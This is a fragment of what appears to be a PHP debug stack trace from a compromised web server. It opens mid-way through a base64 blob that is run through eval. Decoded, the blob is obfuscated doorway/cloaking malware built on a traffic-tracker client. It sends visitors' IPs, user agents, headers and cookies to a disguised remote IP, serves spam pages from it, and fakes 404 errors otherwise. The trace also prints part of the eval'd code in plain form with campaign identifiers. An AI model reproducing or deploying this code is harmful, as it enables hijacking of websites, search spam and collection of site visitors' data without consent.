CBhbHJlYWR5IHN0YXJ0ZWQiOw0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAkbXNnIC49ICIoeyRmaWxlfTp7JGxpbmV9KSI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+bG9nKCRtc2cpOw0KICAgICAgICB9DQoNCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmhlYWRlcnMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkcmVzdWx0LT5oZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICAgICAgICAgIGhlYWRlcigkaGVhZGVyKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPnN0YXR1cykpIHsNCiAgICAgICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkcmVzdWx0LT5zdGF0dXMpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5jb250ZW50VHlwZSkpIHsNCiAgICAgICAgICAgICRoZWFkZXIgPSAnQ29udGVudC1UeXBlOiAnIC4gJHJlc3VsdC0+Y29udGVudFR5cGU7DQogICAgICAgICAgICAkaGVhZGVyc1tdID0gJGhlYWRlcjsNCiAgICAgICAgICAgIGlmICghaGVhZGVyc19zZW50KCkpIHsNCiAgICAgICAgICAgICAgICBoZWFkZXIoJGhlYWRlcik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIHVwZGF0ZUhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9mZmVyKCRwYXJhbXMgPSBhcnJheSgpLCAkZmFsbGJhY2sgPSAnbm9fb2ZmZXInKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkdG9rZW4gPSAkdGhpcy0+Z2V0VG9rZW4oKTsNCiAgICAgICAgaWYgKGVtcHR5KCR0b2tlbikpIHsNCiAgICAgICAgICAgICR0aGlzLT5sb2coJ0NhbXBhaWduIGhhc25cJ3QgcmV0dXJuZWQgb2ZmZXInKTsNCiAgICAgICAgICAgIHJldHVybiAkZmFsbGJhY2s7DQogICAgICAgIH0NCiAgICAgICAgJHBhcmFtc1snX2xwJ10gPSAxOw0KICAgICAgICAkcGFyYW1zWydfdG9rZW4nXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXMtPl9idWlsZE9mZmVyVXJsKCRwYXJhbXMpOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc0JvdCgpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIGlmIChpc3NldCgkcmVzdWx0LT5pbmZvKSkgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPmlzX2JvdCkgPyAkcmVzdWx0LT5pbmZvLT5pc19ib3QgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1VuaXF1ZSgkbGV2ZWwgPSAnY2FtcGFpZ24nKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+aW5mbykgJiYgJHJlc3VsdC0+aW5mby0+dW5pcXVlbmVzcykgew0KICAgICAgICAgICAgcmV0dXJuIGlzc2V0KCRyZXN1bHQtPmluZm8tPnVuaXF1ZW5lc3MtPiRsZXZlbCkgPyAkcmVzdWx0LT5pbmZvLT51bmlxdWVuZXNzLT4kbGV2ZWwgOiBmYWxzZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8vIEBkZXByZWNhdGVkDQogICAgcHVibGljIGZ1bmN0aW9uIGZvcmNlQ2hvb3NlT2ZmZXIoKQ0KICAgIHsNCiAgICAgICAgdGhyb3cgbmV3IFxFcnJvcignZm9yY2VDaG9vc2VPZmZlciB3YXMgcmVtb3ZlZCBpbiBLQ2xpY2tDbGllbnQgdjMuJyk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldEJvZHkoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICByZXR1cm4gJHJlc3VsdC0+Ym9keTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0SGVhZGVycygpDQogICAgew0KICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPnBlcmZvcm1SZXF1ZXN0KCk7DQogICAgICAgIHJldHVybiAkcmVzdWx0LT5oZWFkZXJzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX3N0YXJ0U2Vzc2lvbigpDQogICAgew0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBAc2Vzc2lvbl9zdGFydCgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfYnVpbGRPZmZlclVybCgkcGFyYW1zID0gYXJyYXkoKSkNCiAgICB7DQogICAgICAgICRyZXF1ZXN0ID0gcGFyc2VfdXJsKCR0aGlzLT5fdHJhY2tlclVybCk7DQogICAgICAgICRsYXN0Q2hhciA9IHN1YnN0cigkcmVxdWVzdFsncGF0aCddLCAtMSk7DQogICAgICAgIGlmICgkbGFzdENoYXIgIT0gJy8nICYmICRsYXN0Q2hhciAhPSAnXFwnKSB7DQogICAgICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKGJhc2VuYW1lKCRyZXF1ZXN0WydwYXRoJ10pLCAnJywgJHJlcXVlc3RbJ3BhdGgnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkcGF0aCA9ICRyZXF1ZXN0WydwYXRoJ107DQogICAgICAgIH0NCiAgICAgICAgJHBhdGggPSBsdHJpbSgkcGF0aCwgIlxcXC8iKTsNCiAgICAgICAgJHBhcmFtcyA9IGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcyk7DQogICAgICAgIHJldHVybiAieyRyZXF1ZXN0WydzY2hlbWUnXX06Ly97JHJlcXVlc3RbJ2hvc3QnXX0veyRwYXRofT97JHBhcmFtc30iOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZ2V0Q3VycmVudFBhZ2UoKQ0KICAgIHsNCiAgICAgICAgaWYgKChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSkgJiYgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gID09IDQ0MykgfHwgIWVtcHR5KCRfU0VSVkVSWydIVFRQUyddKSkgew0KICAgICAgICAgICAgJHNjaGVtZSA9ICdodHRwcyc7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkc2NoZW1lID0gJ2h0dHAnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkc2NoZW1lIC4gJzovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9idWlsZFJlcXVlc3RVcmwoKQ0KICAgIHsNCiAgICAgICAgJHJlcXVlc3QgPSBwYXJzZV91cmwoJHRoaXMtPl90cmFja2VyVXJsKTsNCiAgICAgICAgJHVybCA9ICJ7JHJlcXVlc3RbJ3NjaGVtZSddfTovL3skcmVxdWVzdFsnaG9zdCddfSI7DQogICAgICAgIGlmIChpc3NldCgkcmVxdWVzdFsncG9ydCddKSkgew0KICAgICAgICAgICAgJHVybCA9ICc6JyAuICRyZXF1ZXN0Wydwb3J0J107DQogICAgICAgIH0NCiAgICAgICAgJHVybCAuPSAiL3skcmVxdWVzdFsncGF0aCddfSI7DQogICAgICAgIHJldHVybiAkdXJsOw0KICAgIH0NCg0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfZmluZElwKCkNCiAgICB7DQogICAgICAgICRpcCA9IG51bGw7DQogICAgICAgICRoZWFkZXJzID0gYXJyYXkoDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRF9GT1InLA0KICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnSFRUUF9YX0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnSFRUUF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRF9GT1JfSVAnLA0KICAgICAgICAgICAgJ1hfRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnRk9SV0FSREVEX0ZPUicsDQogICAgICAgICAgICAnWF9GT1JXQVJERUQnLA0KICAgICAgICAgICAgJ0ZPUldBUkRFRCcsDQogICAgICAgICAgICAnQ0xJRU5UX0lQJywNCiAgICAgICAgICAgICdGT1JXQVJERURfRk9SX0lQJywNCiAgICAgICAgICAgICdIVFRQX1BST1hZX0NPTk5FQ1RJT04nKTsNCiAgICAgICAgZm9yZWFjaCAoJGhlYWRlcnMgYXMgJGhlYWRlcikgew0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkX1NFUlZFUlskaGVhZGVyXSkpIHsNCiAgICAgICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRfU0VSVkVSWyRoZWFkZXJdKTsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbMF0pOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmIChzdHJzdHIoJGlwLCAnLCcpKSB7DQogICAgICAgICAgICAkdG1wID0gZXhwbG9kZSgnLCcsICRpcCk7DQogICAgICAgICAgICBpZiAoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtaW5pJykpIHsNCiAgICAgICAgICAgICAgICAkaXAgPSB0cmltKCR0bXBbY291bnQoJHRtcCkgLSAyXSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRpcCA9IHRyaW0oJHRtcFswXSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJGlwKSkgew0KICAgICAgICAgICAgJGlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGlwOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCkNCiAgICB7DQogICAgICAgIHJldHVybiB0aW1lKCkgKyA2MCAqIDYwICogJHR0bDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9nZXRDb29raWVIb3N0KCkNCiAgICB7DQogICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pICYmIHN1YnN0cl9jb3VudCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10sICcuJykgPCAzKSB7DQogICAgICAgICAgICAkaG9zdCA9ICcuJyAuIHN0cl9yZXBsYWNlKCd3d3cuJywgJycsICRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkaG9zdCA9IG51bGw7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRob3N0Ow0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gX2dldFJlcXVlc3RPcHRpb25zKCkNCiAgICB7DQogICAgICAgICRvcHRzID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKSkgew0KICAgICAgICAgICAgJG9wdHNbJ2Nvb2tpZXMnXSA9IHByZWdfcmVwbGFjZSgnL1BIUFNFU1NJRD0uKj87L3NpJywgJycsICRfU0VSVkVSWyJIVFRQX0NPT0tJRSJdKTsNCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkb3B0czsNCiAgICB9DQp9DQoNCmNsYXNzIEtIdHRwQ2xpZW50DQp7DQogICAgY29uc3QgVUEgPSAnS0h0dHBDbGllbnQnOw0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlcXVlc3QoJHVybCwgJHBhcmFtcywgJG9wdHMgPSBhcnJheSgpKQ0KICAgIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRSwgaXNzZXQoJG9wdHNbJ2Nvb2tpZXMnXSkgPyAkb3B0c1snY29va2llcyddIDogbnVsbCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIDApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTApOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCBzZWxmOjpVQSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoJHBhcmFtcykpOw0KICAgICAgICAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgIGlmIChjdXJsX2Vycm9yKCRjaCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKGN1cmxfZXJyb3IoJGNoKSk7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdCkpIHsNCiAgICAgICAgICAgIHRocm93IG5ldyBLVHJhZmZpY0NsaWVudEVycm9yKCdFbXB0eSByZXNwb25zZScpOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCn0NCg0KY2xhc3MgS1RyYWZmaWNDbGllbnRFcnJvciBleHRlbmRzIFxFeGNlcHRpb24ge30NCg0KDQppZiAoIWZ1bmN0aW9uX2V4aXN0cygnaHR0cF9yZXNwb25zZV9jb2RlJykpIHsNCiAgICBmdW5jdGlvbiBodHRwX3Jlc3BvbnNlX2NvZGUoJGNvZGUgPSBOVUxMKSB7DQoNCiAgICAgICAgaWYgKCRjb2RlICE9PSBOVUxMKSB7DQoNCiAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7DQogICAgICAgICAgICAgICAgZGVmYXVsdDoNCiAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOw0KDQogICAgICAgICAgICBoZWFkZXIoJHByb3RvY29sIC4gJyAnIC4gJGNvZGUgLiAnICcgLiAkdGV4dCk7DQoNCiAgICAgICAgICAgICRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSA9ICRjb2RlOw0KDQogICAgICAgIH0gZWxzZSB7DQoNCiAgICAgICAgICAgICRjb2RlID0gKGlzc2V0KCRHTE9CQUxTWydodHRwX3Jlc3BvbnNlX2NvZGUnXSkgPyAkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10gOiAyMDApOw0KDQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvZGU7DQoNCiAgICB9DQp9DQoNCmlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRhbGxoZWFkZXJzJykpDQp7DQogICAgZnVuY3Rpb24gZ2V0YWxsaGVhZGVycygpDQogICAgew0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2ggKCRfU0VSVkVSIGFzICRuYW1lID0+ICR2YWx1ZSkNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKHN1YnN0cigkbmFtZSwgMCwgNSkgPT0gJ0hUVFBfJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkaGVhZGVyc1tzdHJfcmVwbGFjZSgnICcsICctJywgdWN3b3JkcyhzdHJ0b2xvd2VyKHN0cl9yZXBsYWNlKCdfJywgJyAnLCBzdWJzdHIoJG5hbWUsIDUpKSkpKV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRoZWFkZXJzOw0KICAgIH0NCn0JDQokaGlkZCA9IHNxcnQoMjIyMDEpOw0KJGtleXNfZmlsZV9zb3VyY2VfZW5jID0gZmlsZV9nZXRfY29udGVudHMoJHR4dF9maWxlbmFtZS4iLnR4dCIpOw0KJGtleXNfZmlsZV9zb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRrZXlzX2ZpbGVfc291cmNlX2VuYyk7DQokYXJyX2Zyb21fZmlsZSA9IGV4cGxvZGUoIlxuIiwgJGtleXNfZmlsZV9zb3VyY2UpOw0KJG1hdGNoaW5nX2FyciA9IGFycmF5KCk7DQpmb3JlYWNoICgkYXJyX2Zyb21fZmlsZSBhcyAkbGluZSl7DQoJJHRtcF9hcnIgPSBleHBsb2RlKCI7IiwgJGxpbmUpOw0KCSRtYXRjaGluZ19hcnJbJHRtcF9hcnJbMF1dWydrZXl3b3JkJ10gPSB0cmltKCR0bXBfYXJyWzFdKTsNCgkkbWF0Y2hpbmdfYXJyWyR0bXBfYXJyWzBdXVsncGF0aCddID0gdHJpbSgkdG1wX2FyclsyXSk7DQp9DQoka2V5d29yZCA9ICRtYXRjaGluZ19hcnJbJG15Zm5hbWVdWydrZXl3b3JkJ107DQokdHh0X3BhdGggPSAkbWF0Y2hpbmdfYXJyWyRteWZuYW1lXVsncGF0aCddOw0KJGRvb3JfZG9tYWluID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOw0KJGRvb3JfZmlsZSA9ICRfU0VSVkVSWydTQ1JJUFRfTkFNRSddOw0KDQppZigka2V5d29yZCl7DQoJJGNsaWVudCA9IG5ldyBLQ2xpY2tDbGllbnQoJ2h0dHA6Ly8nLiRoaWRkLicuMjAyLjY1LjE0Mi9hcGkucGhwPycsICRteV9jYW1wX0lEKTsNCgkkY2xpZW50LT5zZW5kQWxsUGFyYW1zKCk7IA0KCSRjbGllbnQtPmZvcmNlUmVkaXJlY3RPZmZlcigpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMScsIHVybGVuY29kZSgkZG9vcl9kb21haW4pKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzInLCB1cmxlbmNvZGUoJGRvb3JfZmlsZSkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfMycsIHVybGVuY29kZSgkZG9vcl90cGwpKTsNCgkkY2xpZW50LT5wYXJhbSgnc3ViX2lkXzQnLCAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNScsIHVybGVuY29kZSgkcGFja19uYW1lKSk7DQoJJGNsaWVudC0+cGFyYW0oJ3N1Yl9pZF82JywgdXJsZW5jb2RlKCR0eHRfcGF0aCkpOw0KCSRjbGllbnQtPnBhcmFtKCdzdWJfaWRfNycsIHVybGVuY29kZSgkbXlmbmFtZSkpOw0KCSRjbGllbnQtPmtleXdvcmQodXJsZW5jb2RlKCRrZXl3b3JkKSk7DQoJJGNsaWVudC0+Y3VycmVudFBhZ2VBc1JlZmVycmVyKCk7DQoJaWYoJGNsaWVudC0+Z2V0Qm9keSgpPT0iIil7DQoJCSRjbGllbnQtPmV4ZWN1dGVBbmRCcmVhaygpOw0KCX0NCgllbHNlew0KCQkkY29udGVudF9ib2R5ID0gcHJlZ19yZXBsYWNlKCd8PGJhc2UgaHJlZj0iKC4qPykiPnwnLCcnLCRjbGllbnQtPmdldEJvZHkoKSk7DQoJCWVjaG8gJGNvbnRlbnRfYm9keTsNCg0KCX0NCn0NCmVsc2V7DQoJaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQoJZWNobyAnDQo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL0lFVEYvL0RURCBIVE1MIDIuMC8vRU4iPg0KPGh0bWw+PGhlYWQ+DQo8dGl0bGU+NDA0IE5vdCBGb3VuZDwvdGl0bGU+DQo8L2hlYWQ+PGJvZHk+DQo8aDE+Tm90IEZvdW5kPC9oMT4NCjxwPlRoZSByZXF1ZXN0ZWQgVVJMIC8nLiRteWZuYW1lLicgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+DQo8L2JvZHk+PC9odG1sPg0KCSc7DQoJZGllKCk7DQp9DQoNCg=='; $______=$____($______); $___=$____($___); $_____=$___('$___',$______); $_____($____($___________));' ).../bqpj.php(143) : runtime-created function:1
40.0110531424__lambda_func( ).../bqpj.php(143) : runtime-created function(1) : eval()'d code:305
50.0121666792eval( ' $door_tpl = "auto_2207_1"; $my_camp_ID = "WbcGLm7bMyGtf241"; $pack_name = "2307_precached_NOSLASH"; $txt_filename = "bqpj"; $my_get_arr = array_values($_GET); $myfname = $my_get_arr[0]; class KClickClient { const SESSION_SUB_ID = 'sub_id'; const SESSION_LANDING_TOKEN = 'landing_token'; /** @version 3.5 **/ const VERSION = 3; const STATE_SESSION_KEY = 'keitaro_state'; const STATE_SESSION_EXPIRES_KEY = 'keitaro_state_expires'; const DEFAULT_TTL = 1; /** * @var KHttpClient */ private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array('api_key', 'token', 'language', 'ua', 'ip', 'referrer', 'force_redirect_offer'); private $_result; private $_stateRestored; const ERROR = '[KTrafficClient] Something is wrong. Enable debug mode to see the reason.'; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param('info', 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : null; $this->setHttpClient(new KHttpClient()); $this->ip($this->_findIp()) ->ua(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : null) ->language((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : '')) ->seReferrer($referrer) ->referrer($referrer) ->param('original_headers', getallheaders()) ->param('original_host', isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost') ->param('kversion', '3.4'); if 